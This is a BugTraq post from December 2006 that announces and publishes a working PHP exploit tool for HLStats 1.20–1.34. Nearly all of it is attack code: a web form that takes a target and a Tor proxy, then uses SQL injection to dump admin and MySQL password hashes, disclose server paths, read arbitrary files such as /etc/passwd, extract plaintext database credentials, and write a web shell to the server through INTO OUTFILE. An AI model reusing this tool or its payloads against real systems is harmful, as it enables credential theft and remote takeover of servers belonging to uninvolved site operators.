BugTraq
HLStats Remote SQL Injection Exploit Dec 25 2006 04:56PM
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Hlstats is more than 5 years old. HLstats has been downloaded more than 270,000 from http://sf.net. Nothing more than absolutely benign XSS has been reported for this application, until NOW.

Merry Christmass,
--Michael Brooks

Homepage:
http://sourceforge.net/projects/hlstats/

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<br><b>
<?php
/*
Live Exploit Code
SQL Inection + Path Disclosure
Affects HLStats HLStats <=1.34 and Hlstats >= 1.20
works with magic_quotes_gpc=On
by Michael Brooks
*/

print "<title>HLStats SQL Injection Exploit</title>
<body bgcolor='#009900'>
<font color='#FF0000'>
<b>---------------------------------------------------------------------
----------------------------------------------------------------------->
</b><br><br>
<center><b> <br>
Welcome To HLstats Exploit code.<br><br>
</b></center>
<br>
SQL Inection + Path Disclosure<br>
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
Tested on Linux and Windows<br>
works with magic_quotes_gpc=On!<br>
HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>
Merry Christmass!<br>
By Michael Brooks<br>
<br>
<b>---------------------------------------------------------------------
----------------------------------------------------------------------->
</b><br><br>
";

print "
<form action='".$_SERVER['PHP_SELF']."' method='post'>
<b>Target:</b><br>
<input type='text' name='target' size=32><br>
(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>
<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>
<input type='text' name='proxy' size=32><br>
(example: 127.0.0.1:8118 Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/'>Privoxy</a>. )<br>
<br><br>
If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.
<b>---------------------------------------------------------------------
----------------------------------------------------------------------->
</b><br><br>
<H1>ATTACKS:</H1>
<br>
<b>Database Selects:</b><br>
<br>
OBTIAN HLStats logins:<br>
<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>

OBTIAN mysql.user logins:<br>
<input type='submit' name='button' value='Mysql_Logins'><br>
<br>

<br>
<b>File IO:</b><br><br>
<b>Path Disclosure</b><br>
<input type='submit' name='button' value='Path'><br>
<br>
<b>Plain Text Database Login Information</b><br>
<input type='submit' name='button' value='Read_Login'>
(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)<br>
<br>
<b>Read Other File</b><br>
<input type='submit' name='button' value='Read_File'>
<input type='text' name='read_file' size=50>
<br>example: /etc/passwd<br>
OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>
<br><b>attempt payload:</b>(WARNING, NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>
<input type='submit' name='button' value='Upload'>
<?php <input type='text' name='payload' size=50>?> <br>
example: system('netstat'); <br>

</form>
<br><b>-----------------------------------------------------------------
------------------------------------------------------------------------
---></b><br>
";

//generic http class
class http{
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';

function http_gpc_send($loc ,$cookie="", $postdata = "") {
//overload function polymorphism between gets and posts
$url=parse_url($loc);
if(!isset($url['port'])){
$url['port']=80;
}
//$ua=$_SERVER['HTTP_USER_AGENT'];
$ua='GPC/.01';
if($this->proxy_ip!=''&&$this->proxy_port!=''){
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
$url['path']=$url['host'].':'.$url['port'].$url['path'];
}else{
$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
}

if( !$fp ) {
print "$errstr ($errno)<br>\nn";
} else {
if( $postdata=='' ) {
fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
} else {
fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
}

if($this->proxy_name!=''&&$this->proxy_pass!=''){
fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");
}

fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");
fputs( $fp, "User-Agent: ".$ua."\r\n" );
fputs( $fp, "Accept: text/plain\r\n" );
fputs( $fp,"Connection: Close\r\n" );
if($cookie!=''){
fputs( $fp, "Cookie: ".$cookie."\r\n" );
}
if( $postdata!='' ) {
$strlength = strlen( $postdata );
fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );
fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );
fputs( $fp, $postdata);
}
fputs( $fp, "\n\n" );

$output = "";
while( !feof( $fp ) ) {
$output .= fgets( $fp, 1024 );
}
fclose( $fp );
}
return $output;
}

function proxy($proxy){ //user:pass@ip:port
$proxyAuth=explode('@',$proxy);
if(isset($proxyAuth[1])){
$login=explode(':',$proxyAuth[0]);
$this->proxy_name=$login[0];
$this->proxy_pass=$login[1];

$addr=explode(':',$proxyAuth[1]);
$this->proxy_ip=$addr[0];
$this->proxy_port=$addr[1];
}else{
$addr=explode(':',$proxy);
$this->proxy_ip=$addr[0];
$this->proxy_port=$addr[1];
}
}

function get($url, $cookie=''){
return $this->http_gpc_send($url, $cookie);
}

function post($url, $cookie='', $post=''){
return $this->http_gpc_send($url,$cookie,$post);
}

function getServer($url){
$resp=$this->http_gpc_send($url);
$header=explode("Server: ",$resp);
$server=explode("\n",$header[1]);
return $server[0];
}
}

//reuseable functions
function getPath($html){
$path='';
$resp=explode("array given in <b>",$html);
if(isset($resp[1])){
$resp = explode("</b>",$resp[1]);
}else{
$resp[0]=false;
}
return $resp[0];
}

function charEncode($string){
$char="char(";
$size=strlen($string);
for($x=0;$x<$size;$x++){
$char.=ord($string[$x]).", ";
}
$char[strlen($char)-2]=')%00';
return $char;
}

function hex_encode($my_string)
{
$encoded="0x";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{$temp=dechex(ord($my_string[$k]));
if (strlen($temp)==1) {$temp="0".$temp;}
$encoded.=$temp;
}
return $encoded;
}

//hlstats specific functions
function hl_get_sql($resp){
//print htmlspecialchars($resp);
$tmp=explode('<table ',$resp);
array_pop($tmp);
$last=array_pop($tmp);
$tbl=explode('</table>',$last);
$table=$tbl[0];//ITS MY TABLE NOW!
if(strstr($table,'Victim')&&strstr($table,'Times Killed')){
$table=str_replace('border=0','border=1',$table);
$table=str_replace('#002E8A','#000000',$table);
$table=str_replace('#15154D','#CCCCCC',$table);
$table=str_replace('#161652','#CCCCCC',$table);
$table='<table '.$table.'</table>';
}else{
$table=false;
}
return $table;
}

function get_logins($addr){
$http=new http();
$data='';
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]
=1");
$path=getPath($resp);
$readfile=hex_encode($path);
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20
--%20";
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);

$tmp=explode("define("DB_NAME", "",$resp);
$tmp=explode(""",$tmp[1]);
$data[db]=$tmp[0];

$tmp=explode("define("DB_USER", "",$resp);
$tmp=explode(""",$tmp[1]);
$data[name]=$tmp[0];

$tmp=explode("define("DB_PASS", "",$resp);
$tmp=explode(""",$tmp[1]);
$data[pass]=$tmp[0];

$tmp=explode("define("DB_ADDR", "",$resp);
$tmp=explode(""",$tmp[1]);
$data[addr]=$tmp[0];

$tmp=explode("define("DB_TYPE", "",$resp);
$tmp=explode(""",$tmp[1]);
$data[type]=$tmp[0];

return $data;
}

//The table prefix is needed to union select the hlstats logins
function get_prefix($attack){
$prefix=false;
$http=new http();
//hex_encode is used instead of quote marks
$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,
1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex
_encode("%events_playerplayeractions")."%23";
$resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);
$mid=explode('events_playerplayeractions',$resp);
if(is_array($mid)){
foreach($mid as $m){
$pre= explode('>',$m);
$fix=array_pop($pre);
if(is_array($prefix)){
if(!in_array($fix,$prefix)){
$prefix[]=trim($fix);
}
}else if($prefix!=$fix){
print($fix);
$prefix[]=trim($fix);
}
}
if(is_array($prefix)){
$v=array_pop($prefix);
if(trim($v)!='0'){//damn that zero!!
array_push($prefix,$v);
}
}
}else{
$prefix=false;
}
return($prefix);
}

if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){
//this exploit can take its sweet time.
set_time_limit(0);
$http=new http();
$addr=explode('?',$_REQUEST['target']);
$addr=$addr[0];
if(isset($_REQUEST['proxy'])){
$http->proxy($_REQUEST['proxy']);
}

switch($_REQUEST['button']){
case 'HLStats_Logins':
$table=false;
$prefix=get_prefix($addr);
//print_r($prefix);
foreach($prefix as $pre){
if(!$table){
print "trying table prefix:$pre<br>";
//no comments are used in this payload, instead a second union select is used to finnish the query.
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,pla
yerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pr
e."Players%20WHERE%201=0";
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
$table=hl_get_sql($resp);//
}
}
if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far.
$pre="hlstats_";//try the default prefix
print "trying table prefix:$pre<br>";
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,pla
yerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pr
e."Players%20WHERE%201=0";
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
$table=hl_get_sql($resp);//
}
if($table){
$table=str_replace('Victim','username',$table);
$table=str_replace('Kills per Death','playerId',$table);
$table=str_replace('Deaths by','acclevel',$table);
$table=str_replace('Times Killed','password',$table);
$table=str_replace('Rank','Count',$table);
print "<br>$table";
}
break;
case 'Mysql_Logins':
//a comment is used so the table prefix doesn't have to be known; this is simpler, less to go wrong.
$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%2
0%20from%20mysql.user%20--%20";
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
$table=hl_get_sql($resp);
$table=str_replace('Victim','User',$table);
$table=str_replace('Kills per Death','Host',$table);
$table=str_replace('Deaths by','File_priv',$table);
$table=str_replace('Times Killed','Password',$table);
$table=str_replace('Rank','Count',$table);
print "<br>$table";
break;
case 'Read_File':
$readfile=hex_encode($_REQUEST[read_file]);
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20
--%20";
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
$tmp=explode('alt="player.gif"><b>',$resp);
$data=explode("</font>",$tmp[1]);
$data=$data[0];
//this might be a bad thing:
$data=preg_replace('<br />','',$data);
print 'data'.$data;
break;
case 'Path':
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]
=1");
$path=getPath($resp );
print "Path Disclosure:$path<br>";
break;
case 'Read_Login':
$data=get_logins($addr);
foreach($data as $var=>$val){
$tmp=explode('"',$val);
$data[$var]=$tmp[0];
print "<br>".$var.":".$tmp[0];
}
break;
case 'Upload':
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]
=1");
$path=getPath($resp );
$data=get_logins($addr);
print $path."<br>";
$tar=explode('/',$_REQUEST['target']);
$paylink=$tar;
array_pop($paylink);
$paylink=implode('/',$paylink);
if(strstr($path,':')){//if windows
print "Windows Sytem<br>";
$temp=explode('\\',$path);
}else{//else *nix
print "*nix System<br>";
$temp=explode('/',$path);
}
array_pop($temp);
$path=implode('/',$temp);
mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());
$name="data".rand();//rand is used so that this attack can be run multiple times.
$sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO OUTFILE '$path/$name.php'";
print "<br><a href='$paylink/$name.php'><b> Execute Payload </b></a>";
mysql_query($sql) or die(mysql_error());
break;
default:
print 'No Attack!';
break;
}
}else{
Print "No Target.";
}
?><br>------------------------------------------------------------------
------------------------------------------------------------------------
--><br>
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